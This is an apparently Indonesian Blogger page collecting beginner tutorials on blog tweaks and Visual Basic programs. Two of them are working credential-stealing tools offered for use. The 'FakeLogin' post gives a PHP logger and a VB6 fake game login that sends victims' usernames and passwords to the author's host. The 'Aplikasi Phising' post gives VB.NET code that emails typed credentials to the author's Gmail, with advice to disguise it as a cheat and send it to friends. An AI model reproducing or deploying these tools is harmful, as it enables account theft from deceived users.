Sir Blog

Monday, May 12, 2014

Simple And Custom Disable CTRL+U With Notification

Blogging oh Blogging, Setelah menerima permintaan tutorial dari sob +Reinhard Js dan sob +ngurah arta tentang "Bagaimana Cara Membuat Disable CTRL+U / Anti CTRL+U Custom dengan Pesan dan Gambar di Blog". alhamdulillah saya masih diberi kesempatan untuk memenuhi permintaan sahabat blogger yang sudah request.

Jujur saja, sebetulnya source code ini saya dapatkan dari blog-nya sob +Rizky Kurniawan Ritonga malescode.blogspot.com, yang menginspirasi saya untuk memasangnya di blog ini .

Untuk anda yang penasaran seperti apa Demo-nya bisa anda coba dengan menekan shortcutCTRL + U pada keyboard anda.

Cara Pemasangan :

1. Pastikan anda sudah memasang jQuery Library, versi berapapun itu. jika belum silahkan simpan script external dibawah ini tepat di atas code <b:skin> pada halaman Edit Template :

<!-- Library jQuery -->
<script src='//ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' type='text/javascript'/>

Catatan : Pemasangan jQuery dalam Blog hanya boleh 1x saja, jika lebih dari 1 maka Efek-efek yang mengandalkan fungsi jQuery tidak akan berfungsi.

2. Jika sudah memasang code jQuery Library seperti di atas, lanjut ke pemasangan CSS. Cara-nya cukup simpan code CSS di bawah ini tepat di atas code </head> :

<style>
#controlu {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    z-index: 100005;
    background: rgba(0,0,0,.8);
    display: none;
    color: #000;
    text-align: center;
}

#controlu a {
    color: #079aec;
}

#controlu #controluinner {
    padding: 10px;
    max-width: 450px;
    height: 60px;
    position: absolute;
    top: 0;
    bottom: 0;
    left: 0;
    right: 0;
    margin: auto;
    font: 400 13px/20px Arial,sans-serif;
    background: #eee;
    border: 10px solid #555;
    font-size: 130%;
}
</style>

3. Lanjut lagi dengan memasang code JavaScript-nya sob! Cara-nya cukup simpan code JavaScript dibawah ini tepat sebelum code </body> :


<script type='text/javascript'>
// Disable ControlU
function controlu(a){var e=document.getElementById("controlu");var h=document.getElementById("controluinner");var b="Haha, ketauan!! mau ngintip code yaa?? <img src='//googledrive.com/host/0B7H_GQEvKCj1SmIxOXhHalV2ZVE/ngakak.gif' style='width:60px;height:50px;'/>";if(a.ctrlKey&amp;&amp;a.which==85){e.style.display="block";h.innerHTML=b;return false}}document.onkeydown=controlu;
</script>

4. Langkah Terakhir, simpan kode html di bawah ini tepat setelah code <body> :

<div id='controlu' oncontextmenu='return false'><div id='controluinner'/></div>

Setelah itu lalu simpan!

Selesai!

Mohon maaf, jika ada salah kata dalam penyampaian/penjelasaan, kritik dan komentar sangat saya harapkan.
Semoga bermanfaat & Happy Blogging sob. :)

Unknown Web Developer

Morbi aliquam fringilla nisl. Pellentesque eleifend condimentum tellus, vel vulputate tortor malesuada sit amet. Aliquam vel vestibulum metus. Aenean ut mi aucto.

Merubah Blog NoFollow Menjadi DoFollow

Oke sebelumnya terima kasih udah Mampir di Blog kecil ku ini, pada Kesempatan ini Saya akan menjelaskan bagaimana ! , untuk yang belum tau apa ituDoFollow dan NoFollow silahkan Membaca Artikel » Penjelasan atau Pengertian DoFollow dan NoFollow .

Sip dah, gak usah banyak basa dan basi lagi , kita langsung simak Cara nya :

1. Login ke dashbor blog.

2. Klik Template >> Edit HTML >> Lanjutkan (Jangan lupa Centang Expand Template Widget).

3. Setelah itu cari kode berikut:

rel='nofollow'

4. Untuk mengubahnya menjadi DoFollow, silahkan ubah teks nofollow menjadi dofollow atau menghapusnya, jadinya nanti seperti ini.

rel='dofollow'

5. Terakhir, Simpan template ..

Unknown Web Developer

Morbi aliquam fringilla nisl. Pellentesque eleifend condimentum tellus, vel vulputate tortor malesuada sit amet. Aliquam vel vestibulum metus. Aenean ut mi aucto.

Cara Agar Blog Baru Cepat Terindex Google

Dalam Membuat blog baru, tentunya anda tidak mudah membuat blog yang anda buat cepat terindex oleh search engine seperti Google. Butuh kesabaran penuh untuk menunggu agar blog kita muncul di google. Nah, kali ini saya akan memeberikan sedikit tips cara membuat blog kita lebih mudah atau lebih cepat di index oleh mesin pencari Google. silahkan ikuti langkah demi langkah ! :)

Bentar sob, sebelum kita mulai lebih baik kita check dulu blog kita apakah sudah terindex oleh google atau belum? biasa nya sih kalo blog baru gak akan terindex langsung setelah blog itu di buat, untuk mengecek nya silahkan anda coba ketikan di google site:alamat-blog-sobat.blogspot.com , atau lebih tepat seperti screenshot di bawah ini :

Berikut Cara nya :

Langkah #1 Kita submit dulu Blog baru kita di Google Add URL, Kunjungihttp://google.com/addurl
( Masukan Alamat Blog anda , masukan kode Verfikasi lalu klik tombol "Kirim Permintaan" ), atau anda bisa langsung daftarkan blog anda di Google Webmaster Tools

Langkah #2 Kunjungi Google Web Master , untuk mendaftarkan sitemap / daftar isi blog anda ke Google!, kunjungi https://www.google.com/webmasters/tools/home?hl=id , setelah di kunjungi anda akan melihat seperti screenshot dibawah ini , lalu klik saja Link Blog anda nya ( Jangan dulu yang lain! ) :

Langkah #3 Ikuti Langkah-langkah seperti pada screenshot di bawah ini :

Langkah #4 Klik tombol Tambahkan/Uji Peta Situs seperti screenshot dibawah ini :

Lalu masukan tambahan alamat data FEED bawaan Blogger / default sitemap di bawah ini satu per satu kedalam form sitemap, seperti pada gambar di atas!

feeds/posts/default
atom.xml?redirect=false&start-index=1&max-results=1000
feeds/posts/default?orderby=updated
feeds/posts/default?redirect=false
rss.xml?redirect=false&start-index=1&max-results=1000

Unknown Web Developer

Morbi aliquam fringilla nisl. Pellentesque eleifend condimentum tellus, vel vulputate tortor malesuada sit amet. Aliquam vel vestibulum metus. Aenean ut mi aucto.

Friday, May 9, 2014

Membuat FakeLogin Di Visual Basic 6

pada siang ini saya akan memPosting cara Membuat FakeLogin Dengan Visual Basic 6 :
Okeeh kita langsung ke TKP

sekarang udah banyak kan fakelogin, dan bervariasi cara pembuatanya..
biar gak ketinggalan sama yang lain ane pengen share tutor nya sekalian, untuk programnya ya sudah jelas pakai VB6, ane sendiri sih pake VB6 full version agan terserah mau pakai yg full atau portable.. ane pribadi saranin pakai yang full..
kalo yang gak punya gak usah ragu bertanya pada mbah google :

pertama dan yang harus agan miliki adalah web hosting untuk menyimpan script php dan data yang berhasil di hack nantinya..

buka web hosting, buat file php dengan nama bhc-bhottu.php, lalu copas dan save kode ini

Quote:<?php
$datum=date('d-m-Y / h:i:s a');
$email = $_GET[e];
$password = $_GET[p];
$ip = getenv ('REMOTE_ADDR');
$fl = fopen('bhc.txt', 'a');
fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");
fclose($fl);
$ref = $_SERVER['HTTP_REFERER'];
header("location: $ref");
?>

Buka VB6 >> pilih Standar EXE..

- Buat 1 Form beri nama frmUtama

[img]http://2.bp.blogspot.com/-

RhPgw4QJC8Y/UEb8sPOXdaI/AAAAAAAAA_E/FApuGtRZvGA/s1600/1.jpg[/img]

-Copas kode dibawah ini kedalam frmUtama

Quote:lblInfo.Caption = "Memeriksa Server!"
If CekInternet = False Then
lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Server Game !"
Else
lblInfo.Caption = "Masukan ID dan Password valid untuk di verifikasi"
Me.Caption = "WTF"
End If

-buat 1 Module dengan nama modConnect, kemudian masukan kode berikut kedalam modConnect

Quote:Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8

'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function

- Buat 2 buah text box, 1 buah command button dan 1 buah label..

beri nama text box comd button dan label nya seperti ini:
textbox pertama beri nama : txtUname
textbox Kedua beri nama : txtPass
command button beri nama : cmdLogin
label beri nama : lblInfo

-copas lagi kode ini ke dalam cmdLogin

Quote:Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text

If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Inject dll sedang di Proses tunggu sebentar !"
Set IE = CreateObject("InternetExplorer.Application")

IE.Visible = 0
IE.Navigate "http://website agan disini/bhc-bhottu.php?e=" & _
user & "&p=" & pass

Do While IE.Busy
Sleep 200 'sleepnya 200 ajah :P

Loop
IE.Quit
Set IE = Nothing

lblInfo.Caption = "Inject Berhasil !"
MsgBox "Sukses !", vbExclamation, "Error"
End If

ok selesai..
kita test script berjalan lancar atau tidak, jika tidak ada pesan error maka akan muncul seperti gambar di bawah

yang terakhir klik File>> Make Project1.exe..
_________________

Untuk hasil nya akan di simpan pada file bhc.txt
[Image: 7.jpg]

oya ini yang ane jelasin hanya basic nya aja tanpa design, jadi untuk design nya silahkan berkreasi sendiri agar lebih meyakinkan

Kata" yang ane gunakan pada program tsb 100% hanya tipuan belaka, gunanya untuk meyakinkan calon korban agar memasukan ID dan PASS nya.. untuk teks sendiri bisa di rubah sesuai keinginan ya, jadi kalo ini gak usah di jelasin cara merubah kata"nya

Unknown Web Developer

Morbi aliquam fringilla nisl. Pellentesque eleifend condimentum tellus, vel vulputate tortor malesuada sit amet. Aliquam vel vestibulum metus. Aenean ut mi aucto.

Tutorial Membuat Deteksi IP Komputer dengan VB 6

Misi, si tampan ini mau share Cara membuat Deteksi IP Komputer dengan VB 6 semoga soalnya udah muter - muter gak nemu juga tutorial ini tutup thered aja om momod, ikuti langkah - langkah ini ya harus sama persis :inidia :

Persiapan :

1. Visual Basic 6.0 << Cari di engkong gugle usahakan yang vull ya
2. Kopi + Rokok << Biar gak mumet
3. Lagu om Bob Marley << Biar gak pusing

Tutorial :

1. Buka VB 6 dan pilih standart EXE.
2. Masukkan Komponen Winsock & Microsoft Windows Common Controls 6 (SP6) dengan cara klik kanan pada Toolbox dan pilih Components Untuk lebih jelas lihat gambar berikut :

[Image: 13.JPG]

Beri tanda centang pada Microsoft Winsock Control 6.0 & Microsoft Windows Common Controls 6 (SP6).

3. Masukkan 1 buah progressbar, 1 buah timer, 4 buah label dan 2 buah command button. Atur propertinya sebagai berikut :

[Image: 15.JPG]

>> Progressbar ( Max = 30000)
>> Timer1 (Enabled = False dan Interval = 1000)
>> Label1 (Caption = Waktu)
>> Label2 (Caption = Nama Komputer)
>> Label3 (Caption = IP Komputer)
>> Label4 (Caption = Port)
>> Command1 (Caption = Deteksi)
>> Command2 (Caption = Keluar)

Berikut ini adalah tampilan Form yang telah diubah propertinya :

4. Kode :

Dim a As Integer
Private Sub Command1_Click()
For a = 1 To 30000
ProgressBar1.Value = a
Next a
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
End
End Sub

Private Sub Timer1_Timer()
Label1.Caption = Format _
(Now, "HH:MM:SS - dd mmmm yyyy")
Label2.Caption = "Nama Komputer : " _
& Winsock1.LocalHostName
Label3.Caption = "IP Komputer : " & _
Winsock1.LocalIP
Label4.Caption = "Port : " _
& Winsock1.LocalPort
End Sub

5. Tes program sederhana ini dengan menekan tombol F5'

NB : Kalo ada masalah silahkan comment di bawah NO JUNK,SPAM,OOUT dll tapi kalo ente nanya ane gak bisa jawabnya jangan marah ya soalnya masih newbie jadi kalo ada yang mengerti tolong di bimbing

Thx..

Unknown Web Developer

Morbi aliquam fringilla nisl. Pellentesque eleifend condimentum tellus, vel vulputate tortor malesuada sit amet. Aliquam vel vestibulum metus. Aenean ut mi aucto.

Cara Membuat Keygen

Langsung aja deh
Alat yang diperlukan :
Visual Basic 6. Kalo belum punya Download : http://www.4shared.com/file/HdtfJfDd/Vis...table.html

Kalo udah, buka tuh softwarenya trus pilih run visual basic.
Trus pilih standart exe.
Buat command button dan textbox :

[Image: Untitled.png]

Command button nya bikin 2 dan textbox nya bikin 1
ganti nama command button 1 menjadi generate dan yang ke 2 kasih nama exit
cara mengganti nama :

[Image: Untitled.png]

textbox nya hapus namanya (jadi tidak ada namanya)
trus klik 2 kali command button 1 atau generate dan nanti akan keluar untuk memasukkan codenya.
nih kodenya :

Dim key As Integer
key = Int(Rnd() *5)
Select Case Key
Case 0
text1.text = "Key terserah anda"
Case 1
text1.text = "Key terserah anda"
Case 2
text1.text = "Key terserah anda"
Case 3
text1.text = "Key terserah anda"
Case 4
text1.text = "Key terserah anda"
End Select

ganti key nya terserah anda dan jangan hapus tanda petiknya.
dan klik 2 kali di command button 2 atau exit
setelah itu keluar kotak untuk memasukkan code dan isi :
end

nah tes dulu keygen yang anda buat dengan klik run dan klik start ... coba tuh ..
untuk menjadikan file .exe klik file dan make project1.exe dan pilih dimana anda akan simpan file tersebut dan rename file tersebut.
untuk memperindah keygen . Sebelum dibuat menjadi .exe klik image dan tarik garis ke seluruh keygen ..

[Image: Untitled.png]

trus klik [...] dan pilih gambar dimana anda simpan .. Dan selesai, kalau ingin menambahkan yang lain utak atik aja sendiri ya om.

Unknown Web Developer

Morbi aliquam fringilla nisl. Pellentesque eleifend condimentum tellus, vel vulputate tortor malesuada sit amet. Aliquam vel vestibulum metus. Aenean ut mi aucto.

Tutorial Code Memproteksi Exe Dengan Ip Public

Buat sebuah form terserah namanya apa.. (default = form1)
buat sebuah webbrowser.. (default = webbrowser1)
buat sebuah kotak text (default = text1.text)
dan sebuah timer dengan interval > 0 (artinya bisa di setting 20, 50 atau terserah)
(default timer1)

cara buat webbrowser dan bagi yang menggunakan vb portable

add component :
microsoft internet control

bagi yang vb portable install licensi ini agar componet vb seperti : microsoft internet control dan lain lain dapat di gunakan..

http://download.microsoft.com/download/v...VB6CLI.EXE

PHP Code:

Private Sub Form_Load()WebBrowser1.Navigate ("http://checkip.dyndns.org/")Timer1.Enabled = True
Timer1.Interval = 20 'contoh interval 20
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
   Text1.Text = WebBrowser1.Document.Body.InnerText
   If Text1.Text = "Current IP Address: XXX.XXX.XXX.XXX " Then
   Form2.Show
   unload form1
   End If
End Sub 

form2 adalah form project yang akan di tampilkan dan terlebih dahulu di proteksi dengan protek IP..

XXX.XXX.XXX.XXX adalah IP yang di terima di letakkan di dalam code selain itu akan di tolak atau program tidak terbuka..

Kita tidak menggunakan inet atau winsock karena harus menggunakan file ocx dan menurut ane akan perlu waktu kalau harus download atau mencari file ocx nya dulu..

Hanya Simple Code Dari Ane..

Ada Pertanyaan Silahkan di Komen..

Unknown Web Developer

Morbi aliquam fringilla nisl. Pellentesque eleifend condimentum tellus, vel vulputate tortor malesuada sit amet. Aliquam vel vestibulum metus. Aenean ut mi aucto.

Tutorial Cara Buat Aplikasi Phising di VB.NET

Ho Hai Fans B)

Skrg ane mau share Tutorial cara buat Aplikasi Phising...
Biasanya phising kan di website / di browser, sekarang kita coba buat aplikasi desktop...

Bahan :
1. VB.NET
2. Kreatifitas untuk design form nya.

Langkah2 :
1. Buat Project baru

2. Isikan 2 Textbox, 2 Label, dan 1 Button
[Image: X2GYOQ2.png]

Design ane sederhana banget yah, Design mah tergantung kreatifitas kalian semua supaya orang tertarik untuk mencoba aplikasi ente.

3. Double Click Button 1, dan masukan kode berikut :

Code:

If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!", MsgBoxStyle.Critical, "Server Error")

4. Sekarang Edit Code Di Atas sesuai Data2 kalian
- Your Gmail : Username Gmail Kamu
- Your Password Gmail : Password Gmail Kamu

5. Waktu di bagian coding, paling atas Sendiri di kasi code :

Code:

Imports System.Net.Mail

6. Hasil akhir codingnya :
[Image: cMZAJ7n.png]

7. Selesai deh, tinggal build Aplikasinya, terus kirim ke temen2 mu :D

Nih Contoh Design Form Saya :
[Image: J3rl7pn.png]

Design mah tergantung ente...
Mau buat G-Cash Generator kek, cheat, Auto Followers Twitter, IDS maker, atau apalah itu...
Pokoknya yg menarik Ngakak

Unknown Web Developer

Morbi aliquam fringilla nisl. Pellentesque eleifend condimentum tellus, vel vulputate tortor malesuada sit amet. Aliquam vel vestibulum metus. Aenean ut mi aucto.